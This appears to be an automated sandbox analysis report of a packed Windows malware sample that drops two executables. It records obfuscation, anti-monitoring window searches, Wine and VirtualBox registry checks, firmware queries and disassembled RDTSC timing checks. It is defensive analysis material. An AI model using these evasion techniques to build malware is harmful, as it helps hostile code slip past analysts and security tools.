Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: NYMPo215Qd.exe

Static file information: File size 1896448 > 1048576

Source: NYMPo215Qd.exe

Static PE information: Raw size of rjsyiznq is bigger than: 0x100000 < 0x1a6800

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Unpacked PE file: 3.2.G9H9BE2GP1UE0C9AS5I0G1FKO.exe.320000.0.unpack :EW;.rsrc:W;.idata :W;rogrptwg:EW;cpllbfsp:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Unpacked PE file: 4.2.8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe.220000.0.unpack :EW;.rsrc:W;.idata :W; :EW;szaazyea:EW;jswuitsr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;szaazyea:EW;jswuitsr:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: NYMPo215Qd.exe	Static PE information: real checksum: 0x1d4e49 should be: 0x1d2669
Source: G9H9BE2GP1UE0C9AS5I0G1FKO.exe.0.dr	Static PE information: real checksum: 0x2b52b1 should be: 0x2af527
Source: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe.0.dr	Static PE information: real checksum: 0x1c3a12 should be: 0x1bdcab

Source: NYMPo215Qd.exe	Static PE information: section name:
Source: NYMPo215Qd.exe	Static PE information: section name: .idata
Source: NYMPo215Qd.exe	Static PE information: section name:
Source: NYMPo215Qd.exe	Static PE information: section name: rjsyiznq
Source: NYMPo215Qd.exe	Static PE information: section name: nhpbixro
Source: NYMPo215Qd.exe	Static PE information: section name: .taggant
Source: G9H9BE2GP1UE0C9AS5I0G1FKO.exe.0.dr	Static PE information: section name:
Source: G9H9BE2GP1UE0C9AS5I0G1FKO.exe.0.dr	Static PE information: section name: .idata
Source: G9H9BE2GP1UE0C9AS5I0G1FKO.exe.0.dr	Static PE information: section name: rogrptwg
Source: G9H9BE2GP1UE0C9AS5I0G1FKO.exe.0.dr	Static PE information: section name: cpllbfsp
Source: G9H9BE2GP1UE0C9AS5I0G1FKO.exe.0.dr	Static PE information: section name: .taggant
Source: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe.0.dr	Static PE information: section name:
Source: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe.0.dr	Static PE information: section name: .idata
Source: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe.0.dr	Static PE information: section name:
Source: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe.0.dr	Static PE information: section name: szaazyea
Source: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe.0.dr	Static PE information: section name: jswuitsr
Source: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Code function: 0_3_015D5087 pushfd ; iretd	0_3_015D5099
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Code function: 0_3_015D5087 pushfd ; iretd	0_3_015D5099
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Code function: 0_3_015D5087 pushfd ; iretd	0_3_015D5099
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Code function: 0_3_015D5087 pushfd ; iretd	0_3_015D5099
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Code function: 0_3_0156D2D5 push cs; retf	0_3_0156D2D7
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Code function: 0_3_0156D2D5 push cs; retf	0_3_0156D2D7
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Code function: 0_3_0157BA44 push eax; ret	0_3_0157BA49
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Code function: 0_3_0157BA44 push eax; ret	0_3_0157BA49
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Code function: 0_3_0157BC14 push eax; ret	0_3_0157BC15
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Code function: 0_3_0157BC14 push eax; ret	0_3_0157BC15
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Code function: 0_3_05E65AF0 push eax; iretd	0_3_05E65B35
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Code function: 0_3_05E62BF9 push fs; iretd	0_3_05E62C02
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Code function: 0_3_05E6BB0A push ss; retf 0000h	0_3_05E6BB11
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Code function: 0_3_0157BA44 push eax; ret	0_3_0157BA49
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Code function: 0_3_0157BA44 push eax; ret	0_3_0157BA49
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Code function: 0_3_0157BC14 push eax; ret	0_3_0157BC15
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Code function: 0_3_0157BC14 push eax; ret	0_3_0157BC15
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Code function: 0_3_0156D2D5 push cs; retf	0_3_0156D2D7
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Code function: 0_3_0156D2D5 push cs; retf	0_3_0156D2D7
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Code function: 3_2_004A97F5 push ebp; ret	3_2_004A9D8F
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Code function: 3_2_004A9979 push ebp; ret	3_2_004A9D8F
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Code function: 3_2_004A5987 push 7EA7812Ch; mov dword ptr [esp], ecx	3_2_004A59E9
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Code function: 3_2_004A5987 push edx; mov dword ptr [esp], esi	3_2_004A5A4C
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Code function: 3_2_0032EA9C push eax; mov dword ptr [esp], esi	3_2_0032F46F
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Code function: 3_2_0032EA9C push ebp; mov dword ptr [esp], eax	3_2_0032F473
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Code function: 3_2_004A9B86 push ebp; ret	3_2_004A9D8F
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Code function: 3_2_0032F03F push ebx; mov dword ptr [esp], 5A27B362h	3_2_0032F2D0
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Code function: 3_2_0033103E push ebx; mov dword ptr [esp], 385CAC4Ch	3_2_00334E63
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Code function: 3_2_004B5050 push ecx; mov dword ptr [esp], esi	3_2_004B506B
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Code function: 3_2_0032F014 push ebx; mov dword ptr [esp], 29BF4E2Fh	3_2_0032E6F1
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Code function: 3_2_0032D01A push ecx; mov dword ptr [esp], esi	3_2_0032D517

Source: NYMPo215Qd.exe	Static PE information: section name: entropy: 7.977823417053287
Source: NYMPo215Qd.exe	Static PE information: section name: rjsyiznq entropy: 7.954404860591156
Source: G9H9BE2GP1UE0C9AS5I0G1FKO.exe.0.dr	Static PE information: section name: entropy: 7.764604722621869
Source: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe.0.dr	Static PE information: section name: szaazyea entropy: 7.954645182762848

Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File created: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe			Jump to dropped file
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File created: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\NYMPo215Qd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\NYMPo215Qd.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: D0806F second address: D07872 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b pushad 0x0000000c sub esi, dword ptr [ebp+122D2BB5h] 0x00000012 mov ebx, dword ptr [ebp+122D17FAh] 0x00000018 popad 0x00000019 push dword ptr [ebp+122D0859h] 0x0000001f cmc 0x00000020 call dword ptr [ebp+122D1856h] 0x00000026 pushad 0x00000027 jmp 00007F9F38C153FFh 0x0000002c mov dword ptr [ebp+122D18C0h], ebx 0x00000032 xor eax, eax 0x00000034 add dword ptr [ebp+122D1804h], ebx 0x0000003a mov edx, dword ptr [esp+28h] 0x0000003e jmp 00007F9F38C153FBh 0x00000043 mov dword ptr [ebp+122D2B79h], eax 0x00000049 jc 00007F9F38C153FCh 0x0000004f mov esi, 0000003Ch 0x00000054 xor dword ptr [ebp+122D17F3h], edi 0x0000005a jp 00007F9F38C15402h 0x00000060 add esi, dword ptr [esp+24h] 0x00000064 sub dword ptr [ebp+122D17FFh], eax 0x0000006a lodsw 0x0000006c mov dword ptr [ebp+122D17F3h], edx 0x00000072 add eax, dword ptr [esp+24h] 0x00000076 sub dword ptr [ebp+122D17F3h], ecx 0x0000007c mov ebx, dword ptr [esp+24h] 0x00000080 stc 0x00000081 nop 0x00000082 jmp 00007F9F38C15408h 0x00000087 push eax 0x00000088 pushad 0x00000089 push eax 0x0000008a push eax 0x0000008b push edx 0x0000008c rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8A9B6 second address: E8A9BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8A9BA second address: E8A9D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C15408h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8AB7F second address: E8ABAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9F38C02235h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9F38C0222Bh 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8AD6D second address: E8AD8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F9F38C153F6h 0x0000000a jmp 00007F9F38C153FDh 0x0000000f popad 0x00000010 push eax 0x00000011 jo 00007F9F38C153F6h 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8AEF5 second address: E8AEF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8AEF9 second address: E8AF1F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C15408h 0x00000007 je 00007F9F38C153F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8AF1F second address: E8AF35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C02230h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8AF35 second address: E8AF62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9F38C153FBh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b pushad 0x0000000c jl 00007F9F38C153F6h 0x00000012 jmp 00007F9F38C15403h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8AF62 second address: E8AF8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9F38C02237h 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 jnc 00007F9F38C02226h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8AF8C second address: E8AF92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8B118 second address: E8B11C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8B11C second address: E8B134 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F9F38C15402h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8B134 second address: E8B13A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8B13A second address: E8B140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8B140 second address: E8B15B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F9F38C02232h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8B15B second address: E8B1A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9F38C153FDh 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F9F38C15405h 0x00000012 jmp 00007F9F38C15409h 0x00000017 jnp 00007F9F38C15402h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8B1A6 second address: E8B1AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8B1AC second address: E8B1C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F9F38C153FFh 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CA58 second address: D07872 instructions: 0x00000000 rdtsc 0x00000002 js 00007F9F38C02226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jno 00007F9F38C02226h 0x00000011 jmp 00007F9F38C02234h 0x00000016 popad 0x00000017 popad 0x00000018 add dword ptr [esp], 56C2EF51h 0x0000001f mov edi, 797DC961h 0x00000024 push dword ptr [ebp+122D0859h] 0x0000002a movsx edi, ax 0x0000002d call dword ptr [ebp+122D1856h] 0x00000033 pushad 0x00000034 jmp 00007F9F38C0222Fh 0x00000039 mov dword ptr [ebp+122D18C0h], ebx 0x0000003f xor eax, eax 0x00000041 add dword ptr [ebp+122D1804h], ebx 0x00000047 mov edx, dword ptr [esp+28h] 0x0000004b jmp 00007F9F38C0222Bh 0x00000050 mov dword ptr [ebp+122D2B79h], eax 0x00000056 jc 00007F9F38C0222Ch 0x0000005c xor dword ptr [ebp+122D188Fh], ecx 0x00000062 mov esi, 0000003Ch 0x00000067 xor dword ptr [ebp+122D17F3h], edi 0x0000006d jp 00007F9F38C02232h 0x00000073 jnc 00007F9F38C0222Ch 0x00000079 add esi, dword ptr [esp+24h] 0x0000007d sub dword ptr [ebp+122D17FFh], eax 0x00000083 lodsw 0x00000085 mov dword ptr [ebp+122D17F3h], edx 0x0000008b add eax, dword ptr [esp+24h] 0x0000008f sub dword ptr [ebp+122D17F3h], ecx 0x00000095 mov ebx, dword ptr [esp+24h] 0x00000099 stc 0x0000009a nop 0x0000009b jmp 00007F9F38C02238h 0x000000a0 push eax 0x000000a1 pushad 0x000000a2 push eax 0x000000a3 push eax 0x000000a4 push edx 0x000000a5 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CAC7 second address: E8CAD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CAD2 second address: E8CAD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CAD6 second address: E8CB18 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F9F38C15402h 0x0000000d nop 0x0000000e jmp 00007F9F38C15403h 0x00000013 push 00000000h 0x00000015 mov dx, EDEBh 0x00000019 movzx edi, bx 0x0000001c push DAB12DC2h 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CB18 second address: E8CB1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CB1C second address: E8CB22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CB22 second address: E8CB93 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9F38C02228h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 254ED2BEh 0x00000013 mov edi, 5809F972h 0x00000018 push 00000003h 0x0000001a call 00007F9F38C0222Ch 0x0000001f jp 00007F9F38C0223Dh 0x00000025 call 00007F9F38C02236h 0x0000002a pop ecx 0x0000002b pop edi 0x0000002c or cx, 930Bh 0x00000031 push 00000000h 0x00000033 or edx, dword ptr [ebp+122D296Dh] 0x00000039 or ecx, 30E32382h 0x0000003f push 00000003h 0x00000041 jmp 00007F9F38C0222Ah 0x00000046 push 8EBB6424h 0x0000004b push ebx 0x0000004c push eax 0x0000004d push edx 0x0000004e jo 00007F9F38C02226h 0x00000054 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CB93 second address: E8CB97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
